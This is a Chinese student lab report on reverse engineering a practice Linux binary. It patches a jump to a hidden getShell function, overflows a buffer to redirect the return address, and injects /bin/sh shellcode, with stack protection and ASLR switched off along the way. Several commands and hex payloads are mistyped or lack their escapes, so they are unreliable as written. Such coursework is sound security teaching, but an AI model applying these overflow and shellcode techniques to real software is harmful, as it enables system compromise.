Exp1 PC平台逆向破解 Week2 - 20165229
实验准备
- 复习Linux基本操作
- 将pwn1传到kali中,并备份
知识点描述
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
- NOP-90
- JNE-75
- JE-74
- JMP-eb
- CMP-39
实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
任务一
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.输入objump -d pwn1
反汇编pwn1
文件。
图一
反汇编结束后:main函数中有个一步call 804891<fool>
,call
的机器吗为e8
。08048491
是foo函数地址,getshell地址函数为804847d
是我们的跳转目标。通过计算其关系(小端机器)。
0x08048491 -0x0804847d =0x00000014 //计算地址差
0xffffffd7 -ox00000014 = 0xffffffc3 //计算要修改的目标地址
2.输入``vi pwn1```打开文件进行编辑。出现乱码
图二
3.输入命令:%xxd
将文件转换为16进制查看。
4.使用/d7
命令寻找e8dffffff
机器指令所在位置查看。
5.找到后,输入i
进行插入,将d7
改为c3
。
图三
5.修改完后输入:%!xxdd -r
将文件转回ASII码值。可能无法保存,需要输入!wq
,强制保存
6.返回终端后输入指令objdump 0d pwm1
进行查看,发现文件已经被修改。
图四
7.分别执行两个文件,发现结果不同,实验成功。
图五
实验二
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
图六(栈的示意)
实验步骤
1.使用命令gdb
,file pwn2
载入pwn1.
2.输入r
执行pwn2
3.程序正常执行,手动输入一个长36字符的数据abcdefghijklmnopqrstuvwxyz1233456789后回车,发生错误
segmentation fault
0x303938337 in ??()```
图七
4.使用perl语句,用管道的方式把上一个命令的结果作为下一个的输入。perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
图八
任务三
注入一个自己制作的shellcode并运行这段shellcode。
- shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
实验步骤
1.安装execstack
。输入指令apt-get intall execstack
并设置堆栈可执行:
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3//设置文件的堆栈是否可执行
2.关闭随机地址
'echo "0" > /proc/sys/kernel/randomize_va_space
3.构造一个input_shellcode
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
4.打开一个新窗口
5.在一个窗口运行(cat input_shellcode;cat) | ./pwn3
,另一个运行ps -ef | grep pwn
能看见pwn3进程号为4424。
图九
6.在gdb中进行调试attach 4424
7.disassemble foo
反汇编。
8.设置断点b *0x080484ae
9.gdb调试中输入c
继续运行
10.info r esp
查看esp寄存器
11./x16 0xffffd28c
图十
12.oxffffd28c+0x00000004=0xffff290
12.修改代码覆盖地址
perl -e 'print "A" x 32;print "x90xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
13.输入指令(cat input_shellcode;cat) | ./pwn3
图十一
攻击成功
实验中遇到的问题
bash: ./pwn1: 权限不够
解决办法:chmod +x pwn1即可。